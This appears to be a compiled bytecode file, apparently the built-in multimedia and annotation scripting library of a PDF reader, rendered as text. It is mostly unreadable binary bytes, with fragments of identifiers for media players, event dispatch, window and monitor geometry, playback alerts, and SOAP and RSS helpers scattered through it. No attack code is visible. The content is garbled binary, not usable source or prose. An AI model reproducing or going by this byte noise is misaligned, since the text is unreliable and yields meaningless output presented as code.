�V�A5�:Q•��͐�Ȑ�͐�؈.	listenersdispatchingremoved
privAddRemoveprivAdd�������	arguments����B�	WQA�
�V�A5�:Q•��؈.
privAddRemoveprivAdd�������	arguments&�n�N�	WQA�
�V�A5�:Q•��؈1
privAddRemove
privRemove�����3�zargsdoAddRemoveieventsnamearrayj2�2�W�>WQ
mTV7WQV5V5KbmMWQV5V7WQ>WQ/mT�
�A�VV7�V�lQV#?WQQ�VV������L����NnVK[mMWQV�
��:>DQV�
��:>T�
�A�V�V�lQ�L����NV#?WQQ�VT�����A�
�:Q��
$�
��������Z�ː�z����0eː�А�
$/#=���	���c��	ݘ��b�,̘��d���b�ᘀ�i��5^ː������	☀�Y�(̘��p���Y�Ә��v�͈	listenerscalllengthsearchprivSetDispatch^on[A-Z]^after[A-Z]
�^2eR=�������Mlistenernamearrayi����~�T'=DQTT7�=A5T7WQV !A5TZT`\8QL>WQ$mVV7THV#?WQQ�VV�����VVT8Q��	Ј"�����ΐ�	���ܐ����$$2����������������*̘��������Ә����ˈobjectfunction	listenerslengthb2�������T
listenernamearrayiJ�u���A5T7WQV >WQ�mVV7THfA5%VV@8QA5TAC68Q9V�?V�
�V�?�:QA5T&QV#?WQQ�VV����t�ΐ�	�����
$��w�������������� ������ڐ��ː�������)̘��������Ә����	listenersdispatchingremovedneedCleanuplengthsplice#������5�nameP�g���A5KmMWQAA56Q�N��L����NA%Q��0ː��͐�zː����	listenersdispatchprivDispatch
�������a'event����ʎT5 TY\6QT5T5�
��=�:6QT5;T5T556QT5T556QA5#?6Q�A�	
�=
�T�:QT%QT5 TA5
5D QA5
=T557$;55�
�T�:QB�vWQ;55�
�=V5�:Q�A5#?6QA5E
QA5 A�
�:Q��	���ϐ���퐐�����ې�ې���А�����א���ɘ���
������x��ʐ���{����И���̈��͈mediaidnamereplacetargetdoceventsdispatchingprivDispatchNowonstopDispatchstopAllDispatch	listenersafterEveryEventafterapppriv	postEventtrace
di throw: messageneedCleanupprivCleanup����e ���������Qnamearrayi�����	A5K�mMWQA5V7WQ>WQ<mVV7 "V�
�V#?WQ�?�:QV#?WQQ�VV�����V�>A5V&Q�L���{NAY\6QA�
�:QA%Q��0��ː�ΐ�$<0J�����������ݘ���*̘������Ә�����Ԑ���͐��͐���removed	listenerssplicelengthprivSetDispatchneedCleanup
�+J�����?�prefixevento�D��A�
�T�T=�:QA�
�T�TT55�:Q��ې��7privCallMethods
EveryEventmediaid�������=eventnamearrayilistener����&�A5T7WQVt>WQWmT5DQT5
IVV7WQVVT�
�T�:QV#?WQQ�VV������ΐ����$WKe������-���@��ː��Ҙ��,�*̘��3���,�Ә��3� 	listenersstopDispatchstopAllDispatchlength e�������
1eventdocpq��C�	T55WQV55WQV5WQV VY\6WQV5 VZ\6QV5�
�T�:QV5 DV;�
�=	�?�B�:6QV5YV]\6Q�ѐѐ̐�	��Ґ��	���ΐ��ؐ��	�����㐈܈mediadocprivqueuelistpushtimerapp
setTimeOut*app.media.priv.dispatchPostedEvents(this);������cdocqlistie~�[��T5T555WQV5WQV%QV%QVEQV�~>WQamT5VV7WQV55(V55�
�=	�V�:QV#?WQQ�VV�����B�vWQ;
55�
�=V5
�:Q������������֐̐�ɐ�ɐ���%$aUo���o����k���o�����ː���㘀�j�C̘��t���j�1�x���wʐ���{��closedmediaprivqueuelisttimerlengtheventsprivDispatchNowafterapptracedpe throw: message����e�do������player�&��AT6Q��ʈplayer�����@�
Zm	retMarkercJ
��A5 A5�
�:Q@WQA5�>�T'x=y=yz�A5T7WQ�T5;IA5T57�T5	;IA5T5	7pT5
;I%A�
�=
�T5
�:=T5;I%A�
�=�T5�:
;WQV;H
@WQV��	��Ґ�������d����m
����mʘ�����ΐP������ِ�ِ� �� �ɐP�����������privByIndexplayerprivLoadMarkerslengthstringobject
privByNamename	undefinedindextimeprivFindframe�������SpropvaluearraylengthnearIdxnearDistivdist�
�
��T>A5WQV�WQVQ;WQ>WQ_mVV7T7WQV;I5TVWQV>E
QVVVWQVWQV#?WQQ�VV����V;I
VV7�
����ʐ̐���ɐ�
$_Sh�������Ð�ϐ���ː����������ˆ#̘��͘��ˆΘ������ȈprivByIndexlengthInfinity	undefined9h�����	�SzݏA>6Q��Ȉlength�����(��+�mAA�#?6&Q�A�>�����("��Ә���ϐ�#length"������value���AA�#?�
6QT8Q��ڈlength�����^�
J6monitorTypedocd���Tx;555y�;555y�;555y�;555y�;555y�;555y�;555	y�zA�
�T�:�
�:A�
�T�:�
�:A�
�:A�
�:�
�:A�
�:�
�:A�
�:�
�:A�	
�:�
�:�c�Z����h��h��h��h��h��h��hʘ����+ܐ�.ܐ�+͐�,ؐ�+ؐ�+ؐ�*ؐ�appmediamonitorTypedocumentnonDocumentprimary	bestColorlargesttallestwidest�������PrankerminRankrrankimmRank���
;5�RWQT;
T;"WQ>WQlmAV7WQ��V�:WQVV:VVV�
�:QV�
�V�:QVWQV#?WQQ�VA�����V�Ӑ�͈3ʐ��
$l`x������� ��ɐИ��'����ϐ��Ӑ�����(̘��-����ј��1��	appMonitors	undefinedInfinityclearpushlength=x������minColor�A:�A�
��T�:��ɐ�Ȉfilter�����
�m&=�T5ˆɈ
colorDepth�����b�@widthheightbRequiretinyarea��H���e6�����Q���������������QA�
��T�����?������:�ϐݐ��ɐ���X�'filter�����z�mmWidthmHeight��N�T5�7T5>7WQT5�7T5?7WQ�����VDQ�����V����������VV�ڐڐ�����Ӑ҈&rect�����X�S!rimresult� �"d�A� Z\YZ>`>`>`>`\]Z>`>`>`>`\];5]\WQ>WQ�mAV7WQV;55�	
�V5�V5�:6QV;55�	
�V5�V5�:6QV;
�
�V5�V5�:6QV#?WQQ�VA����I;5�RWQV�
�V�:QV��	�����֐��
$������������l�ɐ��������똀�k�(̘��q���k�ј��tӐ�Ӑ���lengthrectworkRectNumber	MAX_VALUE
colorDepthappmediapriv	rectUnionMathminMonitorspushq������+�docbRequire]$�$��A�
�T5�T?
;�:���ՈLmostOverlapouterDocWindowRect	undefined������minArea�%J&��A�
��T�:��ɐ�Ȉfilter�����%�m�%0&��;55�
�T5�:ˆ�)appmediaprivrectArearect�����.�@rectmaxOverlapArea�'�(��T;I
T"UQA�
��T�:�����Ȑ��ɐΈd	undefinedfilter�����0�mV(�(��;55�
�T5������:"ˆ��2appmediaprivrectIntersectArearect������@rectminOverlapArea�)�*��A�
��T�:��ɐ�Ȉfilter�����/�m5*w*��;55�
�T5������:ˆ�8appmediaprivrectIntersectArearect�����+�docbRequire,�,��A�
�T5�T>
;�:���ՈMleastOverlapouterDocWindowRect	undefined������
-�-��A�
��?�:��ɐ��
filter�����
�mQ-n-T5ˆɈ	isPrimary������
.w.ʐA�
��?�:��ɐ��
filter������mD.c.͐T5 ˆ�ʈ	isPrimary������	minHeight/�/ՐA�
��T�:��ɐ�Ȉfilter������mN/u/ؐT5�7T5?7ˆ׈rect������minWidth&0�0�A�
��T�:��ɐ�Ȉfilter������mc0�0�T5�7T5>7ˆ׈rect�����	�01W1�A>6Q��Ȉlength�����(��12��mAA�#?6&Q�A�>�����("��Ә����ϐ�#length"������value�2�2�AA�#?�
6QT8Q��ڈlength�������^argsriinfookprop�5�8�;55�RWQ>WQ�mAV7WQCWQTKpmMWQVVq 
Z\�N�TV75&TV7�
�VV7�:@TV7VV7BWQ
�L����NVV�
�V�:QV#?WQQ�VA����@V�ؐ��
$�����Ŗ������ɐ��5sː�����~����!�����@Θ��+��Ә���(̘��,����ј��/��	appmediaPlayersexecpushlength"�;s������m9}99�������G�K(�retpriv	arguments�9�<D�	WQVQA555WQV5 VZ\6QV5�
�A�:Q�A5V;55�
�A5�;5�
�A5	5
�:�:QA5A6QA5�
�A�V�OWQV5;555;5�
�A�:QA�vWQ;5�
�A�:QA�
�:QVp�V•���Ԑ�	���ΐ��֐�������א퐈͐���ې����x��ʐ��ؐ�͐��{�����docmediaprivplayerspushannotappAddStockEventsHelpergetAnnotStockEventssettings
windowTypeplayerprivOpenapplycodeopenCodesuccessremoveStockEventsprivOnClose����eK��������8players"=7>i�A5555WQn>oQGmV;7AV�
�;�?�:Qn;#?�
oQQ�;V�������ِ�
� G/W������n�����א����m�'ؘ��r���m�՘��r�docmediaprivplayersisplicelength*W�����W�	argscanPlayw?X@��T555WQV5C;5�
�=�T�YV]\�:QB�֐��������
docmediacanPlayyesappalert
CannotPlay�������U.argssettings	selection2C"H��VQT5�
�C�:WQV58�V5�
�C�:WQVV56Q;55�
�T5�V�:QV��vWQV5	=
	VpV5;555	VpV5
;55
5E#QV5
;55
5	Vp;5�
�=�T�YV55]\�:Q�4;5�
�=�T�YV]\�:Q;5�
�T�V�:���ِ��3������ِ�ѐ�萐�|��ʐ���������������������{˘��������ވ7	renditionselectgetPlaySettingsplayersappmediapriv	copyPropssettingsname
RaiseErrorraiseSystem	fileError	raiseCodefileNotFoundfileOpenFailedalertFileNotFoundfileNameSelectFailed	selectiongetAltTextSettings����e+[�����e�2
listi�H�IƑ>WQJmTV755;555TV75V#?WQQ�VT�����@��
$J>X������ɐ���͘��Ȉ(̘��˘��ȈӘ��Έ�	renditiontypeappmedia
renditionTypelength
X�����c�	
argssettingsK7Lۑ	Y;5�
�T5�T5�:]\WQ;55�
�T5�V�:QV����񐐐�萐��appmedia
getURLDataURLmimeTypedatapriv	copyPropssettings�������T3args	selection	renditiontext�M
R�T5 @T5D$Q;5�
�T5�:WQV @nV�
�B�:oQ;55�	
�T5�;�:Q;5
 4;;55�
�T�;�:6
Q;5
;55
5@V5
WQV�>9T5 @;55�
�=�:WQ;;5�
�V�:6Q;Z;555`\6Q;��	������	�����ې�ꐐ��	����������̐����
������䐐��䐐�萐��showAltText	renditionappmediagetFirstRenditionrejectssettingsgetPlaySettingspriv	copyProps
windowTypecomputeDefaultWindowTypedockedaltTextlengthshowEmptyAltText	getStringIDS_ERROR_NO_ALT_TEXT_SPECIFIEDdatagetAltTextDataplayersaltTextPlayerID�����b�playerannot@T�U�	T5;55�
�T�;5�
�T5�:�:QTTT6Q�������ې㐐����̈stockEventsappmediaprivAddStockEventsHelpergetPlayerStockEventssettingsannot�����P�objectevents�V�W.�TT6QT5 "T;55�R6QT5�
�T�:Q��̐��	���ݐ��؈stockEventseventsappmediaEventsadd�����y�6playerremoveProps�XmZ<��WQT DQT5 ��T�:QT5@T55��T5�:QT5%QT%Q���Aɘ��=��	ʈ��������J�͐�������Ґ��ΐ�ɈstockEventsannotplayer����removeProps4�object�X�YA�T5+T5�
�T5�:QT%Q�����ݐ�ɈeventsremovestockEvents�������k6docfloatingwhichMonitoruiSizeoverRectborder�[�`]�VQT5x;555yU;555yM;555yE;555yQzT5WQhT5WQW;5	�
�:>75
WQ2;5	�
�T�T�:>75WQ;5�
�T�:WQn
;55�
�V�T5�T5V>7V�7�T5V?7V�7�:o
QT4n
;55�
�;
�T�:o
Q;
����`������h���h�h���m�h���q�hʘ��c���̐P�����̐P�����P�����P���wݘ��{�ܐ͐֐ߐ������overappmedia
pageWindow	appWindowdesktopmonitorpageWindowRectinnerAppWindowRectmonitorsrectselectworkRectgetWindowBorderSizepriv	rectAlignalignwidthheightrectGrow��������0settingsevents�bks��;55�RWQ;55*V�
�;5�
�:�:QV�
�Y�]�]�]�]	\�:QT5
x;55
5y#;55
5yCz�V�
�Y�]
�]�]\�:Q�T55 E(QT55 DQT55  ;55�
�:QT5;HT;556QT5/TB6QV�
�Y�]\�:QV�ؐ����吐�ː�ʘ���ʘ���ʘ���И����`�.���h�����hʘ����ː�ʘ���ʘ���И���P������ԈԈ���ې����ؐ�������ʐ��ː�И��P�����appmediaEventstraceaddgetPlayerTraceEventsonClose	afterDone
afterErrorafterEscape
windowTypedockedfloating	onGetRectonBluronFocusrectwidthheightprivthrowBadArgsvisible	undefineddefaultVisible
afterReady�������$eannotycCf��T55WQ;5�
�T5�:QV�V@6QT55EOQT555;555	E"QT55
555V�
�C�:Q�ѐ��ߐ����ʘ���Ӑ�������	шtargetannotappmediaremoveStockEventsextFocusRecthadFocussettings
windowTypedockeddoccanPlayyessetFocus�����*�eaf�f��T5�
�;555�:Q���-targetcloseappmediacloseReasondone�����m�e�f�g��	;5�
�=�T55�YT55]\�:QT5�
�;55	5
�:Q������.appmediaalertPlayerErrortargetargstext	errorTextclosecloseReasonerror�����*�e�gHh��T5�
�;555�:Q���1targetcloseappmediacloseReasonuiScreen�����n�
e+ikƒ	T55`T55T5;55�
�T555�T55	�:66Q������͈
Րא�>targetannotextFocusRectmediarectappprivrectGrowinnerDeviceRectuiSize�����'�e%k�kӒT55T55B6Q����
Ԉ'targetannotalwaysShowFocus�����'�e�klْT55T55C6Q����
Ԉ&targetannotalwaysShowFocus�����H�;*efloatingrect�ns�T555WQV5WQV V;5�
�T55�V�T555�T55	�:WQ5;55
�
�V�T55	�:WQV5;555
J;5�
�V�;55
�
�V�V5�:�:WQT5V6QT5C6QT5�
�:Q�֐̐�Q����퐐����𘀓�����֐��
ѐ���
ϐ�
ԈtargetsettingsfloatingrectappmediacomputeFloatWinRectdocmonitorTypeuiSizeprivrectGrowifOffScreen
forceOnScreenconstrainRectToScreenrectAnchorPtalign	outerRectvisiblesetFocus�����Y�	(�s�x�;55�Y�]�]�]�]�]�]\�R��ѐ�ʘ��'ʘ��,ʘ��1ʘ��6ʘ��=И��C�appmediaEventsonEveryEventafterEveryEventonScriptafterScriptonStatusafterStatus�����H�	eAt�t!�T55=4;55�
�=T55�:Q�����8mediaidGetRectappprivtraceplayer event: on�����0�euvu'�;55�
�=T55�:Q���;appmediaprivtraceplayer event: afterid�����J�			e�uv,�;55�
�=T55=T55=�:Q���ʈ]appmediaprivtraceplayer onScript('command','param')�����J�			e0v�v1�;55�
�=T55=T55=�:Q���ʈ`appmediaprivtraceplayer afterScript('command','param')�������e�v�w6�;55�
�=T55>1T55=T55=
=	=
T55=T55
=�:Q��ܐ�,���Happmediaprivtraceplayer onStatus: progress/total,   status code: code: 'text'�������e�w�x=�;55�
�=T55>1T55=T55=
=	=
T55=T55
=�:Q��ܐ�,���Happmediaprivtraceplayer afterStatus: progress/total,   status code: code: 'text'�������/
windowTypeevents�y�K�;55�RWQ;55*V�
�;5�
�:�:QV�
�Y�]\�:QT;555/V�
�Y�]	�]
\�:QV�ؐ����吐�ː�И��_����ː�ʘ��sИ��}��appmediaEventstraceaddgetAnnotTraceEvents	onDestroy
windowTypedockedonFocusonBlur�����A�
e�z�{T�T553T55�
�;555�:Q��������9targetplayercloseappmediacloseReason	docChange�����;�e|~~c�T555T55�
�:QTC6Q�������	٘��p�ʈtargetplayerisOpensetFocusstopDispatch������e�~�s�TC6Q���x�ʈstopDispatch�����1�q�����;55�Y�]�]\�R��ѐ�ʘ���И����appmediaEventsonEveryEventafterEveryEvent�����0�eÀ���;55�
�=T55�:Q���7appmediaprivtraceannot event: onid�����0�e>�����;55�
�=T55�:Q���:appmediaprivtraceannot event: afterid�������v3args=�i���TEQT5	T;55�
�T�:UQTC6Q;EQ;5QT5 T;556QT5 T;556QT5	 �T5EQT5@T55	T55	 ;55�

�:QT5 TT55	6	Q(T5TT55	6	QT5;HFT;E1Q;5
E!Q;55;5
7   6QT5;HTC6QT5;HTT5 6QT�������␈ʐ������
���ؐ��
���ؘ����	��������	ې����ې���֘��������ۈ㐐���ʐ�����ϐ���privDWIMappmediapriv	copyPropseventactionannot	renditiondocthrowBadArgsfromUser	undefinednamepageEventNamesshowAltTextshowEmptyAltText�����S�#�margsplayer׉d�̓	;55�
�=�:QT5  ;55�
�:Q;5�
�T�: @T5EQT55	3T55	�

�;555�:QT55�
�YT]\�:WQVT5#;5�
�T�:JT5#;5�
�T�:;55�
�:6QV5 @V55 :V5;55�
�T�V5�:6QV55  ;55�
�:QV55x;555y#;555ykz�V55;HIT5  ;55�
�:QV5T556QDV5;5�
�V55�T5�:6QT5 (;5�
�V�T5�:QT5 MV5  "V;55!�R6 QV5 �"
�T5 �:QV��ᐐ�	���ې��	�����������똀���������	�������	��������	���ې��`�����h�����hʘ����������	ې��ې��P��������P����	���㐐����
���ݐ��ݐ����appmediaprivtraceapp.media.priv.createPlayerdocthrowBadArgscanPlayOrAlertannotplayerclosecloseReasonplay	newPlayerargssettingsURLgetURLSettings	renditiongetRenditionSettings
windowTypecomputeDefaultWindowTypedocked
fullScreenpage	undefinedmonitormonitorsselectmonitorType
noStockEventsaddStockEventseventsEventsadd�����X�
argssettingsretWTc�>��VQT5";555WQ*T5;555WQV�����ݐ���ؐ���
annotappmedia
windowTypedockedfloating�����:�
N!�typeaidispatch	argumentsb�ڞ<�
	WQ�WQY\�����Q?WQ?m;55�
�VV7������:QV#?WQQ�VV����������T6Q=�����55q 2�����55;55�R6Q������5	�:DNQ������555	�:D'Q������555�:Q•���Nɘ��=��А�
$?3M���@�-̘��A���@�Ӑ��Ґ���	���퐐��ݐ�␐����Z�appmediapriv	copyPropslengthtypestockAlerterdocAlerteralerter����dispatch\�alerterH�ӞN�T;HBT@DEQT'=D5QT5�=D QT�
������:BI����������ː�А�Րۈ)	undefinedobjectdispatchfunction#M�����	��D�e�AB6Q��Ȉskip�����-��4@askipprivOK���m��WQ�����5 EQA5VQ�����5x=y<=y�=y�=y=y=y0z������5	5
m�����5	55��=
�:WQ9�����5	55��=�:WQ;�
�����55�:Q�;5�
�����5�����5�����5 �:WQ����=�����5�:WQe;5�
�����5�����55�����5 �����5�:WQ�����5 E	QV
AC6QC����ɘ��n���
��������`����m
����m
����m
����m
����m
����mʘ��w�������
א���
א���P������P�����7אP�����P�����P����Ґ�%�P����
���Ȑ�����������fromUserskiptype
CannotPlay	ExceptionFileNotFoundOpenPlayerErrorSelectFailedcanPlay	canShowUIno	authoring'IDS_PLAYBACK_DISALLOWED_WHILE_AUTHORINGsecurity%IDS_PLAYBACK_DISALLOWED_CONFIGURATIONappalerterrormessagemediaalertFileNotFounddocfileNameIDS_JS_PLAYBACK_ERROR	errorTextalertSelectFailed	selectionrejects����privOK��!idMsg	strAppendo�����Y;55�
�T�:TDQ=]>]>]�����5]	\WQ�����5
 ?VY;55�
�=�:]B]
\6Q;�
�V�:QV5V55���䐐�����͐��Ր����Έappmediapriv	getStringcMsgnIconnTypedocoDocfromUser	oCheckboxIDS_DONOT_SHOW_AGAIN_DOC
bInitialValuealertbAfterValue�����=�players��%���A5555WQVV�
�>�:
Z\�ِ��'adbeDocmediaprivplayersslice�������/objstrbValuesprop��ȔT =UQT=UQT=T=T'=UQTKBmMWQT=VT=TV7
==UQ�L����N;5	5
�
�T�:Q��	��ΐ���p���҈�p��5Eː���pΐ��߈ () []
   : 
appmediaprivtracePE�����&�objstrC���ؔ;55�
�T�T�B�:Q���-appmediapriv
dumpObject�����&�objstr���ޔ;55�
�T�T�C�:Q���,appmediapriv
dumpObject�������Farraystri9���T =UQT=UQT=T=T'=UQ>WQDmTTV7VT�?=
=UQV#?WQQ�VT�����;5	5
�
�T�:Q��	��ΐ���p���҈�p����
$D8R���
�p����)̘�������Ӑ���߈ () []
{ length,  }appmediaprivtracePR�����*�str�^���;55;�
�T�:Q����Ոappmediatraceconsoleprintln�������ݱ���n;55oQ;50;5�
�;555�:Q2�vWQ;�	
�V5
�:Q�����ڐ����x��ʐ��ڀ{��annoteventactionplayercloseappmediacloseReasonstopalertmessage����eY�����s�
y�>���n;55oQ;5;5�
�:Q2�vWQ;�
�V5�:Q�����ڐ����x��ʐ��ڀ{��annoteventactionplayerpauseappalertmessage����eD�����s�
Ҵ��&��n;55oQ;5;5�
�:Q2�vWQ;�
�V5�:Q�����ڐ����x��ʐ��ڀ{��annoteventactionplayerplayappalertmessage����eD�����H�fromtoname̶{�9�T Y\UQT-TKmMWQTVTV78Q�L����NT��	��ʐ���5ː�ؐ����
%�������rectalignwidthheightxy�7�U�T ;555UQT>7T�7T>7T;555T7WQT?7T�7T?7T;555T7WQZV`V`VT`VT`\��	��ؐ��󐐈�'appmediaaligncenterpriv	xPosTable	yPosTable�������rectalignxy��мc�T ;555UQT>7T�7T>7;555T7WQT?7T�7T?7;555T7WQZV`V`\��	��ؐ���Ԉappmediaaligncenterpriv	xPosTable	yPosTable�����E�	rectI�%�q�;55�
�T�:>T�7T>7T�7T?7�������ڈ5appmediaprivrectIsEmpty�����G�	rectsize����}�ZT>7T>7`T?7T?7`T�7T�7`T�7T�7`\���ϐϐѐӐ������?�,&rectArectBnewRect������VQ;55�
�T�:D$Q;55�
�T�:'Z>`>`>`>`\WQ�Z;�
�T>7�T>7�:`;�
�T?7�T?7�:`;�
�T�7�T�7�:`;�
�T�7�T�7�:`\WQ;55�
�V�:"Z>`>`>`>`\WQV����"���␐��������琐����ݐ����appmediaprivrectIsEmptyMathmaxmin�����?�
rectArectB�����;55�
�;55�
�T�T�:�:����OappmediaprivrectArea
rectIntersect�����*�
rect��8���T D$QT>7T�7DQT?7T�7����7�����-�rect��	���ZT>7`T?7`T�7`T�7`\���.������)rectArectB��,���;55�
�T�:(;55�
�T�:�;55�
�T�:(;55�
�T�:�Z;�
�T>7�T>7�:`;�
�T?7�T?7�:`;�
�T�7�T�7�:`;�
�T�7�T�7�:`\����#��#萔���䐐�appmediaprivrectIsEmptyrectCopyMathminmax������idStringy���ҕ;�
�=�T�:��ۈ/app	getString
Multimedia������valuedef4���ڕT;I
TT���ш)	undefined����e�
�?�?�?�?�?�?�?�?�����
�Bpnsresultikeyoffset �����T'=�T�;�Y\WQTKqmMWQVWQV�
�T�:WQV> V�
�T��:WQVV;�
�TV7�T�:8Q�L����NVUQS>WQ6mTV;�
�TV7�T�:8QV#?WQQ�VT�����T����������ʐ5tː��֐
�ې�퐐�̐��$6*D����̈���Ӑ���	objectlength	undefinedindexOfsliceSOAPstripNS�D6t�������z*�docusersettingsescript	arguments|���Ζ		�����QA�����6QA�����6QA�����6QA@6Q�����Q�;�
�:Q;�
�A5�C�B�=�:Q;�	
�A5�B�:Q;�

�A5�:�����Q;�
�:Q�����'=O�������:QA5�
����������������:Q&;�
�=������:QX�v�Q;�
�:QA@6Q;�
�=��:Q�A�6QA�6QA�6QA�6	Q�ė��А�А�А�Ȑʐ����ѐ���␐��ڐ��ᐐ�ѐ���J���Ր�����	�x��А��ѐ�Ȑ��{����̘����̘���̘���̘��
�docusersettingsdriverapp	beginPrivRSSaddFeedJSupdategetContentsendPriv	undefinedinitconsoleprintlnDidn't Load driver EXCEPTION: 	enumeratecomplete
getDocInfo�����(��s	argumentsD�Y��	�����Q9�������{w���ď܈eval����e�����0�sortedR����A5�= A5�
�T�:@�����ې��driver	undefined	enumerate�����0�
toComplete��i���A5�= A5�
�T�:B�����ې��
driver	undefinedcomplete�����,������A5�=A5�
�:@�����א��driver	undefined
getDocInfo�����8�toDeletetoAddtoUpdate����A5�=(A5�
�T�T�T�:B���#��㐈�
driver	undefinedupdateC�����5�	docusersettings��%�3�TEQT= ;�T�T�T�R@ˆ+��XDynamicAnnotStore����e\[\d+\]�05T�*���?�?�?